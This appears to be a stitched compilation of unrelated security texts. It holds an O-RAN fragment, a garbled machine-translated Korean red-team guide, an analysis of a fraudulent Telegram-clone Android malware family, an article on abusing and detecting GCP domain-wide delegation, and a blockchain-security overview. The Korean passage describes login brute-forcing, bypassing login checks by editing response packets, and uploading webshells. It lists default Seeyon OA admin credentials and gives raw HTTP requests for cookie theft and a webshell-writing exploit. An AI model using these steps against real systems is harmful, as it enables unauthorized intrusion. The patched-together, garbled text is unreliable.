緩解嚴格的驗證和登錄過程可以防止惡意xApps進入系統，即使RIC組件發生故障，確保O-RAN也可以處理網絡流量，這也可以緩解攻擊的影響。 建議使用深度包檢測(DPI)系統來檢查組件之間的流量，以便可以根據需要應用熱補丁。 這個DPI系統能夠理解O-RAN協議。

가장 기본적인 로그인 박스에서 나누십시오 로그인 상자는 HW가 가장 많이 발생하는 캐릭터이며 구멍에서 벗어나기가 가장 쉽습니다. 일반적으로 사용되는 테스트 방법은 다음과 같습니다 로그인 폭발 팁 우리는 다음과 같은 시스템의 폭발에 대한 두 가지 솔루션이 있습니다. 프론트 엔드 암호화 알고리즘을 분석하고, 비밀번호를 암호화하도록 스크립트를 작성하고, 비밀번호를 123456 000000으로 고정하여 공통 사용자 이름을 사전으로 사용하여 두 가지 방법을 폭파하는 두 가지 방법은 고유 한 장점과 단점이 있습니다. 두 번째는 게임에서 더 효율적이며 분석 암호화 알고리즘은 Red Team Detection Project에 더 적합합니다. Blasted 계정 비밀번호를 사용하여 백그라운드에 로그인하면 배경 업로드 포인트를 계속 찾을 수 있습니다. 업로드 된 파일 형식을 제한하려면 여기에서 이미지 유형을 참조하십시오. ASPX 파일 형식 유형을 직접 추가하십시오 성공적인 getshell 반환 패킷 매개 변수를 수정하고 배경을 입력하십시오 때때로 웹 사이트 로그인 상태는 프론트 엔드를 기준으로 판단되며 현재로서는 반환 패키지를 직접 수정하여 우회 할 수 있습니다. 프론트 엔드 판단 로그인 로직은 리턴 패키지의 RET 값을 기반으로 결정됩니다. 반환 값이 1 인 경우 로그인이 성공적으로 로그인됩니다. 배경에 성공적으로 입력했습니다 플러그인은 일반적인 SQL 주입 및 LOG4J 취약성을 감지합니다 권장 SQL 주입 플러그인 https://github.com/smxiazi/xia_sql 기본 원칙은 반환 된 데이터 길이를 기반으로 여러 데이터 패킷을 전송하여 주입이 있는지 여부를 결정하는 것입니다. 수동 스캔 외에도 단일 및 이중 인용문을 수동으로 추가하여 리턴 패키지를 볼 수도 있습니다. 비슷한 오류가 있으면 SQL 주입이있을 수 있습니다. SQLMAP 셔틀 Log4J 플러그인 권장 https://github.com/thekingofduck/burpfakeip 버프 플러그인 퍼즈 패킷을 통한 헤더 헤더 로그인 상자에서 Log4J 취약성을 성공적으로 감지했습니다 그러나 많은 DNSLOG 플랫폼이 방화벽에 의해 검은 색으로 표시되었으므로 Ceye를 사용하거나 DNSLOG 플랫폼을 직접 구축하는 것이 좋습니다. 시스템 기본 비밀번호 + 배경 1day Exploit 공세 및 방어 경쟁이 점점 더 빈번 해짐에 따라 공개 네트워크에서 직접 악용 할 수있는 프론트 엔드 취약점은 적고 적으며 대부분은 배치 스캔으로 수정되었지만 시스템의 기본 비밀번호를 사용하여 1 일과 결합하여 Utilization을 사용 할 수 있습니다. 기본 비밀번호가있는 경우 admin/admin123 작업을 예약하거나 배경을 입력 할 때 명령을 실행하여 명령을 실행할 수 있습니다. OA 시스템을 만나면 OA 취약성 감지 도구를 사용하여 허점을 스캔하고 포기합니다. 실제로 이러한 종류의 OA 시스템에서 기본 암호에 문제가있을 수 있습니다. 기본 비밀번호 시스템 관리자 : 시스템/시스템 그룹 관리자 (A8-V5 그룹 버전) Group-Admin/123456 Unit Administrator (A8-V5 Enterprise Edition) admin1/admin123456 감사 관리자 (모든 버전) Audit-Admin/Seeyon123456 때로는 프론트 데스크에서 계정 비밀번호를 사용할 때 로그인 할 수 없습니다. 다음 데이터 패킷을 보내 쿠키를 얻을 수 있습니다. Post/Seeyon/REST/AUTHENTICATION/UCPCLOGIN HTTP/1.1 호스트 : user-agent: Mozilla/5.0 (Windows NT 10.0; RV:78.0) Gecko/20100101 Firefox/78.0 컨텐츠 길이 : 71 Content-Type: Application/X-WWW-FORM-URLENCODED 인코딩 : GZIP를 인코딩합니다 userAgentFrom=XXLOGIN_USERNAME=AUDIT-ADMINLOGIN_PASSWORD=SEEYON123456 쿠키를 얻은 후에는 패치의 최신 배경 구멍을 사용하여 심도있게 사용할 수 있습니다. 이번에는 카피 파일 배경 구멍을 사용하십시오. 그러나 실제 전투 후, 나는이 허점에 약간의 함정이 있었고 웹 쉘에 글을 쓸 때 오류가보고되었습니다. post /seyon/ajax.do?method=ajactionmanagername=portalcssmanagerrnd=111 http/1.1 accept: */* 컨텐츠 -type: Application/x-www-form-urlencoded; charset=utf-8 컨텐츠 길이 : 70 Host: 192.168.91.17 Connection: 유지-알리 user-agent: apache-httpclient/4.5.13 (Java/1.8.0_321) accept-encoding: gzip, deflate 인수=%5b%22

概述經監測，我們截獲了一起與未知家族有關的欺詐性Android 應用傳播事件。詳細調查發現，該家族主要使用開源的Telegram Android 源代碼作為其核心功能模板。通過各種策略，包括但不限於刷單、投資推廣和色情聊天，該家族誘導用戶下載並安裝其應用，從而執行欺詐操作。進一步網絡環境探測結果顯示，存在多款與該家族高度相似的活躍應用，進一步證實了這些應用確實屬於同一個欺詐家族。這個家族不僅具有高度的欺詐性和一致性，還擁有一個完整的業務供應鏈。基於上述特點，我們決定為這一欺詐家族命名為“BOOMSLANG（樹蚺）”。 技術分析 從我們獲取的家族樣本中進行溯源分析後，發現該家族最早始於2022 年9 月進行傳播。由於當時疫情等外部因素的影響，該家族在2022 年9 月至2023 年3 月期間處於欺詐傳播的初級階段。然而，隨著社會狀況逐漸恢復，該家族開始大規模傳播，並推出了多個不同業務類型的版本。值得注意的是，為了適應反欺詐措施，該家族在2023 年7 月首次進行了變種，引入了“Domain Over HTTPS（DoH）”技術。隨後，在2023 年9 月，家族樣本再次發生變種，增加了對現有自動化App 安全檢測手段的抵抗能力，具體採用了NPManager 自帶的StringFrog 混淆技術，以規避基於字符串提取的安全檢測。 DoH（DNS over HTTPS）是一種安全協議，用於通過HTTPS 加密的連接進行DNS 解析請求和響應。其主要目的是增加隱私和安全性，防止DNS 請求被竊聽或篡改。 接下來，我們將對該家族的原始版本以及引入DoH 技術的版本進行深入分析。 樣本概況樣本標識马云惹不起马云MD5 Hash:0a731ace7a01349d8c103ad5dc7fc230 功能與行為1.登錄界面：樣本啟動後展示的是一個登錄界面，該界面要求輸入邀請碼以進行登錄。 2.聊天界面：登錄成功後，用戶將進入一個聊天界面。 3.惡意活動：該樣本主要通過聊天功能進行詐騙或其他類型的惡意行為。 分析細節樣本基本面分析 1.權限分析：使用Incinerator 工具打開樣本後，從生成的Report 信息中可以觀察到，該樣本請求了多個高風險的權限。 2.動態檢測結果： 马云惹不起马云包名與子目錄問題：動態檢測結果顯示，在im.lpfupkaehn.messenger包名下的tgnet子目錄中，NetworkConfig.java文件存在明顯的問題。 接下來，我們將詳細分析im.lpfupkaehn.messenger包名的具體表現和潛在風險。 代碼相似度文件與目錄結構马云惹不起马云tgnet 子目錄：在im.lpfupkaehn.messenger的相應目錄下，存在一個明確的tgnet子目錄。 源碼比對马云惹不起马云GitHub 搜索結果：利用該目錄中的代碼進行GitHub 搜索後，發現這部分代碼與Telegram Android 源碼高度相似。 代碼相似性比較马云惹不起马云im.lpfupkaehn.messenger與org.telegram.messenger 多個類文件，如AccountInstance等，在排除反編譯因素後，顯示為100% 相同。 代碼差異分析主要新增部分在該樣本中，基於Telegram Android 源碼，主要有三個顯著的新增部分： 1.依賴庫： 马云惹不起马云位置：主要集中在com目錄下。 马云惹不起马云功能與調用：這些庫基本上都能通過搜索找到其調用處，主要用於處理一些較小的功能。 马云惹不起马云示例：com.alibaba.fastjson庫主要用於處理更新用戶信息的協議。 2.UI 目錄差異： 马云惹不起马云對比：im.lpfupkaehn.ui目錄與org.telegram.ui目錄相比，前者多出幾個目錄。 马云惹不起马云推測：這些新增目錄可能是為了滿足定制UI 的需求而加入的。 3.tgnet 目錄差異： 马云惹不起马云對比：在im.lpfupkaehn.tgnet和org.telegram.tgnet目錄之間進行比較，發現前者多出幾個文件。 马云惹不起马云推測：這些新增文件可能是用於實現特定的網絡通信或功能。 詳細新增類文件分析在該家族樣本中，特別值得注意的是新增了以下類文件： 基礎網絡與文件操作類：马云惹不起马云FCTokenRequestCallback： 可能與Token 請求有關。 马云惹不起马云FileLoadOperation： 文件加載操作。 马云惹不起马云FileLoadOperationDelegate： 文件加載操作的代理。 马云惹不起马云NetBean： 網絡配置Bean。 马云惹不起马云NetworkConfig： 網絡配置。 马云惹不起马云ParamsUtil： 參數工具。 Telegram 後台通訊擴展（TL 系列）：马云惹不起马云TLApiModel： API 模型。 马云惹不起马云TLRPCZ： 可能與RPC 通訊有關。 马云惹不起马云TLRPCBackup： 備份相關。 马云惹不起马云TLRPCBasic： 基礎RPC 功能。 马云惹不起马云TLRPCCall： 通話功能。 马云惹不起马云TLRPCCdn： CDN 相關。 马云惹不起马云TLRPCChats： 聊天相關。 马云惹不起马云TLRPCContacts： 聯繫人相關。 马云惹不起马云TLRPCFriendsHub： 好友中心。 马云惹不起马云TLRPCHotChannel： 熱門頻道。 马云惹不起马云TLRPCLogin： 登錄相關。 马云惹不起马云TLRPCRedpacket： 紅包功能。 马云惹不起马云TLRPCWallet： 錢包功能。 這些新增的類文件主要涉及到網絡操作、文件處理以及與Telegram 後台進行通訊的多個方面。這進一步突顯了該家族樣本相較於原始Telegram 代碼的定制和拓展。 網絡行為分析報告主要焦點：NetworkConfig.java基於自動化分析的結果，NetworkConfig.java文件代碼中存在明顯的問題，因此本次分析將重點關注該文件。 網絡配置更新機制 環境區分：代碼中區分了線上環境和內網環境。只有標識為1002 的是線上環境，需要更新網絡配置。 這裡有兩個關鍵函數initRemoteConnInfos和selecteRemoteConnInfo 關鍵函數分析：initRemoteConnInfos： 主要負責從配置接口https://*************.***-**********.********.***/************.***獲取目標IP 和端口信息。 selecteRemoteConnInfo:使用阿里遊戲盾將目標IP 和端口轉換為代理IP 和端口，達到隱藏實際IP 和端口的目的。 阿里遊戲盾使用邏輯功能介紹：阿里遊戲盾提供了一個免疫DDoS/CC 攻擊的彈性安全網絡。具體來說，它根據提供的目標IP 和端口生成一個動態變化的代理IP 和端口。 挑戰與影響：對於網絡行為分析和惡意程序網絡請求攔截來說，阿里遊戲盾的彈性安全網絡構成了一個嚴重的挑戰。因為代理IP 和端口可以不斷變化，這極大地增加了網絡追踪和攔截的難度。 該樣本利用了複雜的網絡配置和第三方安全服務（阿里遊戲盾）來隱藏其實際網絡行為，從而增加分析和追踪的難度。這些特點進一步證明了該惡意樣本的高度專業性和隱蔽性。 YunCeng.getProxyTcpByDomain的反編譯代碼如下： 根據阿里遊戲盾官方網站上較舊版本的文檔，getProxyTcpByDomain函數的前四個參數表現如下： 函數的後兩個參數則用於返回與輸入目標IP 和端口相對應的代理IP 和端口。在對上述代碼進行進一步分析後，我們發現返回的代理數據最終被傳遞給了ConnectsManager。 我們注意到這是一個native函數。在常規情況下，我們需要逆向分析。 so文件以獲取相應的代碼。然而，由於之前我們已經提到這個樣本代碼與Telegram Android 有很高的相似性，我們決定直接查閱Telegram Android 的源代碼來進行分析。 在這個步驟中，返回的IP 地址和端口號被設置給了ConnectManager 的datacenter 對象，並隨後重新發起了握手過程以建立新的連接。這一操作實現了樣本與雲端網絡通訊的服務器切換。至此，惡意樣本已經成功地通過新的IP 和端口與遠程服務器建立了新的通信通道。 攔截方法：經過詳細分析，我們完成了對樣本主要網絡請求逃逸攔截行為的審查。該樣本巧妙地利用了防DDoS 服務，通過不斷更換請求的IP 地址和端口，有效地規避了傳統的基於固定IP 請求攔截的防護手段。 要全面阻斷這一樣本的網絡請求，需要通過靜態和動態分析相結合的方式，找出樣本是如何利用阿里遊戲盾服務的，並據此攔截相關網絡通信途徑。具體攔截策略可集中在以下三個方面： 1.攔截樣本通過請求阿里遊戲盾來獲取目標IP 地址和端口的網絡請求。 2.如果第一種攔截策略未能成功執行，那麼還需要針對樣本中預設的默認IP 和端口進行攔截。具體來說，應該攔截所有指向****.**.********.***的網絡請求。 3.在灰度測試階段，如果前兩種攔截策略都未能成功，那麼應關注樣本中預設的第三個默認IP 地址，即**.***.***.***。所有指向這一IP 的網絡請求也應被攔截。 這些網絡請求被巧妙地深藏在代碼中，需要綜合應用動態和靜態分析方法才能準確地識別出它們，這無疑給安全對抗工作增加了額外的挑戰和工作量。 家族變種分析在持續追踪此類惡意APP 過程中，我們發現了一種新的變種，其MD5 哈希值為61eea96bae6e53b6806d974cf35877df。這個新樣本做出了一個顯著的變化：它不再依賴於阿里遊戲盾，而是轉向使用了七牛雲的DoH（DNS over HTTPS）服務。具體的使用方式如下： 在這個新的變種中，攻擊者將HOST 中的地址配置為七牛雲的DnsManager 的dnsServer。然後，該DnsManager 負責進行DNS 查詢。這種改變不僅表明攻擊者正在逐漸熟悉和利用更高級的網絡服務，而且也增加了分析和攔截其行為的複雜性。 在這種情況下，樣本通過其自己控制的dnsserver 來動態地更換IP 地址。這種設置使得攻擊者能夠在後端使用類似於阿里遊戲盾的工具，隨機返回不同的代理IP 地址，從而實現真實IP 地址的隱藏。如果DNS 查詢失敗，樣本會回退到預設的IP 和端口，進一步增加了對抗分析的複雜性。這種多層次的網絡行為策略不僅增加了分析工作的難度，也為有效攔截創建了額外的挑戰。

Google Suite是Google在訂閱基礎上提供的一套雲計算生產力和協作軟件工具和軟件，它包含Google廣受歡迎的網上應用，包括Gmail、Google雲端硬盤、Google環聊、Google日曆和Google文檔，現已更名為Google Workspace。研究人員用一種意想不到的方式訪問了來自Google Cloud Platform (GCP)的Google Workspace域數據。 研究人員發現，具有必要權限的GCP標識可以為委託用戶生成訪問令牌，擁有被盜憑證的惡意內部人員或外部攻擊者可以使用此訪問令牌冒充Google Workspace用戶，授予對其數據的未經委託訪問或以其名義執行操作。 隨著組織越來越依賴基於雲的服務，如Google Workspace和Google Cloud Platform GCP，深入研究其安全功能和漏洞的複雜性變得至關重要。 全域委託濫用概述模擬下圖所示的可能的攻擊路徑可能是惡意的內部人員利用他們的訪問權限，例如，在GCP項目中具有編輯器權限的開發人員。他們可以通過濫用在GoogleWorkspace中被授予全域委託權限的服務帳戶來做到這一點，內部人員有權在同一個GCP項目中為服務帳戶生成訪問令牌。 第二個攻擊場景 啟用了全域委託權限後，惡意的內部人員可以冒充Google Workspace域中的用戶，並使用訪問令牌對API請求進行身份驗證。通過利用適當的作用域和API訪問，內部人員可以訪問和檢索敏感的Google Workspace數據，這可能會危及存儲在域內的電子郵件、文檔和其他機密信息。這些攻擊突出了全域委託功能的威脅。 如果攻擊者獲得了附加到計算引擎實例的GCP服務帳戶令牌，則會出現最壞的情況。例如，計算引擎默認服務帳戶，默認具有編輯器權限，攻擊者可以利用全域內的委託功能來產生更大的影響。如果在同一個項目中，存在一個具有全域委託的服務帳戶，這可能導致攻擊者模仿被委託的服務帳戶，並從GCP橫向移動，以獲得對Google Workspace環境的訪問權。 Google Workspace在研究人員深入研究Google Workspace和GCP中最近出現的複雜安全風險之前，有必要了解這些強大的基於雲的服務。 Google Workspace應用程序是基於雲的協作工具的集合。組織使用Google Workspace通過各種工具來提高他們的工作效率和溝通，例如： 電子郵件； 日曆； 文件存儲和共享； 團隊溝通； 工作流自動化； 安全； 政府； Google Workspace提供基於角色的訪問控制(RBAC)功能，並允許管理員為用戶分配特定的角色，根據用戶的職責和需求授予他們預定義的權限集。這些角色包括： 超級管理員； 組織管理； 一般用戶管理； 每個角色對組織的Google Workspace環境的不同方面具有特定的權限和控制。 Google Workspace超級管理員擁有更高的權限和更廣泛的域管理職責，包括向服務帳戶授予全域委託權限。 Google Workspace管理員還可以定義特定於應用程序的權限，並限制共享和可見性設置。例如，管理員可以實施防止用戶公開共享文件的策略，並限制共享選項，以確保文件保持在委託範圍內。 GCP和Google Workspace之間鏈接的一個常見用例是，託管在GCP上的應用程序需要與Google Workspace服務之一進行交互。這些服務包括： Gmail Calendar Drive Docs 這種集成允許應用程序訪問和操作特定於用戶的數據，代表用戶執行操作，或者利用Google Workspace的協作和運行功能。 創建與Google服務交互、訪問Google API、處理用戶數據或代表用戶執行操作的應用程序需要一個委託的GCP服務帳戶。 什麼是服務帳戶？服務帳戶是GCP中的一種特殊類型的帳戶，它表示非人類實體，如應用程序或虛擬機，它允許他們進行身份驗證並與Google API進行交互。服務帳戶與應用程序本身相關聯，而不是與單個最終用戶相關聯。 與用戶帳戶不同，服務帳戶不是Google Workspace域的成員。它們不受Google Workspace管理員設置的域策略的約束，只有在被授予全域委託的情況下才能訪問用戶的數據。 什麼是全域委託？全域委託是Google Workspace中的一個功能，它允許GCP服務帳戶訪問Google Workspace用戶的數據，並代表他們在特定域中進行操作。 當使用全域委託功能時，應用程序可以代表Google Workspace域中的用戶進行操作，而不需要單個用戶對應用程序進行身份驗證和委託。 只有Google Workspace超級管理員才能委託應用程序(作為服務帳戶)代表域中的用戶訪問數據。這種委託稱為“將全域內的權限委託給服務帳戶”。 全域內的委託是如何工作的？要使用全域委託功能，需要執行以下步驟： 1.啟用全域委託：Google Workspace超級管理員為服務帳戶授予全域委託，以及允許該訪問的一組OAuth範圍。這些範圍詳細說明了服務帳戶可以訪問哪些特定服務和特定操作。 例如，如果只是/auth/gmail.readonly被授予，服務帳戶將有權讀取用戶的Gmail郵件，當代表該用戶時，但不能讀取他們的其他工作區數據，如訪問驅動器中的文件。 2.請求Google Workspace訪問令牌：應用程序使用適當的憑據向Google Workspace令牌終端發送請求。這包括服務帳戶的客戶端ID和客戶端秘密，以及訪問用戶數據所需的範圍。如果請求是有效的，並且服務帳戶已被授予必要的全域委託特權，則令牌終端使用訪問令牌進行響應。應用程序可以使用此訪問令牌在請求的範圍內跨域訪問用戶數據。 3.API訪問：應用程序在API請求中包含訪問令牌作為委託標頭，它代表服務帳戶作為身份驗證和委託的證明。 全域委託流 當被授予全域委託時，Google Workspace中的服務帳戶可以訪問用戶數據，代表用戶進行操作，並驗證對Google API的請求。具體的功能和可訪問的數據取決於所定義的範圍。 了解全域委託功能的風險和影響 一旦將全域委託授予GCP服務帳戶，具有必要權限的GCP標識就可以為同一項目中的委託服務帳戶生成訪問令牌。然後，惡意的內部人員可以使用此訪問令牌冒充Google Workspace用戶，授予對用戶數據的未經委託的訪問權限或代表用戶執行操作。 這種情況造成了全域委託權限的敏感性與GCP平台上管理的權限模型之間的不匹配。 Google文檔包含一個關於全域委託功能的警告通知，其中概述了該功能的重要功能。 Google提到，“只有超級管理員才能管理全域內的委託，並且他們必須指定應用程序可以訪問的每個API範圍。” 谷歌曾建議不要對服務帳戶使用自動角色授予，這會阻止創建默認的谷歌計算引擎服務帳戶。為了幫助緩解過多的權限，Google有關於GCP角色推薦的手冊。 利用兩端審計日誌識別可能存在的濫用攻擊如果不分析來自兩個平台、GCP和Google Workspace的審計日誌，就不可能了解活動全貌，並確定全域內委託功能的任何潛在濫用。服務帳戶密鑰日誌的生成將出現在GCP日誌中，而Google密鑰生成和API調用執行日誌將出現在Google Workspace日誌中。 在下圖中，有一個來自Cortex web界面的XQL查詢，它在GCP審計日誌中搜索服務帳戶密鑰創建。 搜索服務帳戶密鑰創建 Prisma Cloud RQL語法中的等效查詢 下圖顯示了一個搜索服務帳戶委託日誌的XQL查詢。 搜索Google Workspace訪問令牌請求 Prisma Cloud RQL語法中的等效查詢 下圖顯示了研究人員檢查了誰給了這個服務帳戶全域委託權限，以及什麼時候發生了這種情況。 搜索指示已向服務帳戶授予全域委託權限的日誌 Prisma Cloud RQL語法中的等效查詢 下圖顯示了在Cortex web界面中觸發的警報，上面顯示Google Workspace管理員已啟用對GCP服務帳戶的全域委託，並授予他訪問敏感範圍的權限。 Cortex web界面中的全域委託警報 緩解措施研究人員已經確定的安全風險在於惡意內部人員濫用全域委託功能所需的初始權限與潛在影響之間的不匹配。 具有域委託權限的服務帳戶的最佳安全實踐是將它們放置在GCP層次結構中的高級文件夾中。在GCP層次模型中，訪問控制是分層的。 在較高級別設置的權限和策略(例如，組織或文件夾)不會自動授予對較低級別文件夾或項目的訪問權限。訪問控制在層次結構中不向下繼承，這意味著較低級別的文件夾或項目不能自動訪問較高級別的文件夾或項目。 GCP資源層次樹 此策略緩解了潛在惡意內部人員破壞安全的空間，這些內部人員通常只擁有上圖所示的GCP層次結構中的較低級文件夾或項目的權限。通過確保只有相同或更高級別文件夾或項目中的實體才能生成對委託服務帳戶的訪問令牌，可以阻止低級區域中的實體獲取服務帳戶的訪問令牌。這有助於防止濫用全域委託權限，並防止對Google Workspace數據的訪問。 總結自2023年6月以來，研究人員一直在通過各種方式與穀歌討論這個問題，Axon團隊也發現了這個問題，他們也向谷歌進行了報告。 在配置此權限時，安全防御者需要考慮與全域委託功能相關的風險和含義。根據全域委託授予的範圍，攻擊者可以使用該功能來冒充Google Workspace用戶，代表他們執行操作並獲得對其數據的未經委託的訪問。 必須強調攻擊者濫用此功能所需的初始權限與可能的影響之間的不匹配。在最壞的情況下，攻擊者或惡意的內部人員可能會洩露敏感的Google Workspace數據，例如存儲在域中的電子郵件、文檔和其他機密信息。 Cortex XDR功能可以識別和警告各種異常活動，例如授予全域委託權限或創建GCP服務帳戶密鑰。 Cortex XDR能夠學習GCP和Google Workspace實體的攻擊，並檢測異常攻擊。 Prisma Cloud CIEM可以通過以下方式幫助降低風險和過度權限訪問： 1.風險權限的可見性、警報和自動補救； 2.使用最低權限訪問補救措施自動查找未使用的權限； 3.Prisma Cloud威脅檢測功能可以對各種與身份相關的異常活動發出警報，例如來自云內部或云外部的異常使用憑據。 4.Prisma Cloud還可以執行運行時操作監控，並為與其云環境相關的任何組件提供治理、風險和遵從性(GRC)要求。

區塊鏈可以增強您解決方案的安全性嗎？憑藉去中心化、智能合約和代幣化等功能，區塊鏈可以提供強大的方法來保護您的數據並自動化網絡安全工作。但區塊鏈在網絡安全中到底扮演著什麼角色，它真的能為所有企業提供強有力的保護嗎？ 在本文中，我們仔細研究了區塊鍊網絡安全的好處和挑戰，並分析了區塊鏈對不同解決方案的網絡安全可能產生的影響。 使用區塊鏈實現網絡安全：好處和注意事項區塊鏈對於醫療保健、公共部門、物流、金融等領域的組織有著無窮無盡的應用。除了獨特的功能之外，區塊鏈還由於其去中心化和密碼學等固有品質提供了更高級別的安全性。讓我們看看這種保護軟件的技術的主要優點。 安全的數據存儲和處理——區塊鏈記錄是不可變的，記錄在區塊鏈上的任何更改都是透明的且無法修改。因此，存儲在區塊鏈上的數據比傳統的數字或紙質記錄得到更好的保護。 安全的數據傳輸——區塊鏈可以實現涉及數據和財務的快速、安全的交易。智能合約是區塊鏈技術不可或缺的一部分，它通過自動執行協議來提高安全性，減少人為錯誤和潛在漏洞的風險。 無單點故障——無需許可的區塊鏈系統是去中心化的，因此比傳統系統更具彈性。為了影響整個區塊鏈的運行或安全，惡意行為者必須危害51% 或更多的網絡節點。這意味著即使在遭受DDoS攻擊的情況下，由於賬本的多個副本，系統也能正常運行。然而，私有區塊鏈無法提供這種優勢。 數據透明度和可追溯性——區塊鏈通過數字簽名和時間戳交易來提高網絡安全性，並允許網絡用戶輕鬆追踪交易歷史並在任何歷史時刻查看賬戶。此功能還允許公司擁有有關其資產或產品分銷的有效信息。 用戶機密性——由於使用公鑰加密技術來驗證用戶身份，區塊鍊網絡參與者的機密性很高。然而，一些基於區塊鏈的初創公司更進一步改進了這項技術。例如，Guardtime開發了無密鑰簽名基礎設施(KSI)，允許用戶在不洩露密鑰的情況下驗證簽名有效性。 使用區塊鏈進行網絡安全工作之前要考慮什麼雖然區塊鏈作為網絡安全措施具有巨大的潛力，但該技術也面臨著一些挑戰。讓我們仔細看看區塊鏈的主要缺點，在決定使用該技術增強解決方案的安全性之前需要考慮這些缺點。 可擴展性挑戰——區塊鍊網絡對區塊容量和每秒交易數量有不同的限制。從網絡安全的角度來看，您的區塊鏈系統必須處理所有與安全相關的交易和數據，以確保安全的數據存儲而不損害產品的性能。我們建議檢查您想要用作解決方案基礎的區塊鏈平台的可擴展性，並提前考慮您的預期負載。 對私鑰的依賴——區塊鏈依賴於私鑰，私鑰是由錢包自動生成的一長串隨機數。私鑰用於與區塊鏈交互並確保安全。如果用戶丟失私鑰，關鍵的加密數據可能會永久無法訪問，從而使密鑰管理成為關鍵的安全問題。 適應性挑戰——儘管區塊鏈技術幾乎可以應用於任何業務，但公司可能會面臨整合困難。例如，保護供應鏈系統的安全非常具有挑戰性，因為使用區塊鏈重新實現供應鏈邏輯可能需要很長時間。區塊鏈應用程序還可能需要更換現有系統，因此公司在實施區塊鏈技術之前應考慮這一點。 高運營和定製成本——區塊鍊網絡需要大量的計算能力和存儲容量。與現有的非區塊鏈系統相比，這可能會導致更高的邊際成本。在Apriorit，我們始終關注基於區塊鏈的解決方案的成本效率和商業價值。 缺乏明確的治理——區塊鏈技術的運營和使用在全球範圍內沒有得到很好的監管。儘管許多國家都在關注區塊鍊和加密貨幣的法律法規，但要求不斷變化和發展，使得供應商難以實施。您需要不斷跟踪法律法規的變化，以確保您的系統符合您所在地區和行業的適用要求。 這些是您在決定實施區塊鏈技術以提高產品的網絡安全性時需要考慮的主要挑戰。然而，可能的缺點的最終範圍將根據您所處的行業以及您希望藉助區塊鏈解決的其他任務而有所不同。 讓我們仔細看看區塊鏈在網絡安全中的主要用例。 網絡安全的頂級區塊鏈應用區塊鍊是一種多功能技術，您可以應用它來實現各種網絡安全目標。然而，與可以集成到軟件的單獨部分的網絡安全腳本不同，區塊鏈實施通常需要一種全面的方法。這意味著您的整個軟件系統甚至業務運營可能需要進行重大更改才能從區塊鏈的安全功能中受益。 讓我們看看使用區塊鏈來保護您的產品免受網絡威脅並使您的企業更加信譽、安全和值得信賴的主要方法。 1. 驗證所有權和跟踪記錄區塊鏈可以驗證數字資產的所有權，例如域名、知識產權或數字證書，確保只有授權方才能進行更改。 例如，房地產行業正在採用區塊鏈來驗證財產所有權，減少欺詐和糾紛。 StreetWire和ShelterZoom使用該技術來簡化房地產企業的數據管理。 您還可以在供應鏈中使用基於區塊鏈的所有權驗證來跟踪和驗證資產，確保其完整性並降低偽造風險。 區塊鏈的不變性使其成為創建不可更改的審計跟踪的理想選擇，可用於跟踪和驗證系統內的活動。例如，醫療保健組織使用基於區塊鏈的不可變審計跟踪來記錄患者記錄，確保醫療數據的完整性和安全性。 網絡安全中的區塊鏈技術還可用於提高許多政府流程的安全性和透明度：稅收、信息治理、選舉等。 2. 去中心化身份管理區塊鏈可用於記錄和驗證網絡中用戶、設備和軟件的身份和完整性。每個設備或軟件組件都可以在區塊鏈上擁有唯一的身份，並且可以監控它們的行為是否存在任何異常。這使您能夠快速檢測可能是違規或身份盜竊跡象的異常行為，並在其對系統完整性造成損害之前解決它。 通過在區塊鏈上註冊設備和軟件組件，您可以實施基於身份的訪問控制。這將使您能夠更好地控制設備和軟件對產品的訪問，從而降低未經授權訪問的風險。 通過基於區塊鏈的身份管理系統，個人可以控制自己的數字身份並降低身份盜用的風險。例如，Sovrin是一個去中心化身份平台，它使用區塊鏈讓用戶控制自己的個人數據。它用於各種應用，包括自我主權身份驗證。 區塊鏈也是零知識證明的理想環境——用於證明系統存儲特定信息而不洩露實際信息本身的加密技術。它利用區塊鏈來實現網絡安全和隱私，並使身份驗證更加安全。 Zcash是一種注重隱私的加密貨幣，它使用零知識證明來實現私密交易，同時向網絡證明交易的有效性。 3. 安全的數據共享和存儲區塊鏈可用於安全、防篡改的數據存儲和共享，提供敏感信息的機密性和完整性。讓我們詳細看看一些例子。 醫療保健組織使用區塊鏈來安全地管理醫療數據。例如，BurstIQ是一個基於區塊鏈的平台，可幫助醫療保健組織安全地存儲患者數據並在不同部門和機構之間近乎實時地共享數據。區塊鏈還可以幫助建立安全的消息傳遞服務，以便就行政事務和非緊急醫療案件進行快速、舒適的患者與機構溝通。 區塊鏈可以存儲供應鏈中每個產品的所有操作和交易的防篡改記錄。沃爾瑪、寶馬和聯邦快遞等全球巨頭部署區塊鏈來簡化供應鏈效率和運營的分析。 公共部門使用區塊鏈來確保選舉安全。基於區塊鏈的投票系統提供透明且防篡改的投票記錄。例如，愛沙尼亞成功使用區塊鏈保護其投票系統，以防止惡意行為者訪問公民投票數據。 除了保護投票記錄之外，區塊鏈還有助於加快計票速度並確保結果的準確性。由於所有記錄都是不可變的，篡改區塊鏈上的電子投票幾乎是不可能的。然而，在驗證選民身份的同時保持選民選擇的匿名性可能是一個挑戰。 物聯網技術與區塊鏈相結合，可以利用防篡改和去中心化的賬本進行設備交互，從而在物聯網設備之間實現更安全的通信和數據交換。 在金融領域，區塊鏈的最大價值在於其數據不變性和交易透明性。在區塊鏈上存儲交易比保存傳統的數字或紙質記錄更加透明和安全。一些銀行組織，例如ING 集團，使用區塊鏈（特別是零知識範圍證明解決方案）來保護客戶信息的機密性。 Q2是一個虛擬銀行平台，利用區塊鍊和機器學習來加強用戶數據保護。 4. 智能合約的安全自動化基於區塊鏈的智能合約可以自動化安全程序和操作，確保合規性和對安全事件的快速響應。基於以太坊的智能合約可以自動化去中心化應用程序（dApp）和區塊鏈系統中的安全操作，通過減少人為錯誤來提高安全性。智能合約確保多方之間協議的快速、安全和全自動執行。 例如，通過結合區塊鏈技術和智能合約，您可以通過自動限制請求數量或驗證每個網絡參與者來自動為您的產品提供分佈式拒絕服務(DDoS) 保護。 在金融領域，智能合約被用來自動化支付處理和驗證交易。這些合同可以在滿足所有條件時自動執行協議，從而降低欺詐活動的風險。例如，摩根大通等金融機構已經探索使用區塊鍊和智能合約進行高效、安全的抵押品結算。 SMARTRealy和Propy等公司利用智能合約來出售、購買或租賃房產。 區塊鏈在供應鍊網絡安全中的作用在於使用智能合約自動驗證商品和產品，自動保護您的供應鏈免受假冒產品和產品篡改，無需任何人為參與。 結論憑藉可靠的數據加密機制、數據完整性、網絡彈性和可擴展性，區塊鍊為維持高水平的數據安全提供了豐富的機會。因此，從傳統安全系統切換到基於區塊鏈的系統可以使幾乎所有行業的組織受益。 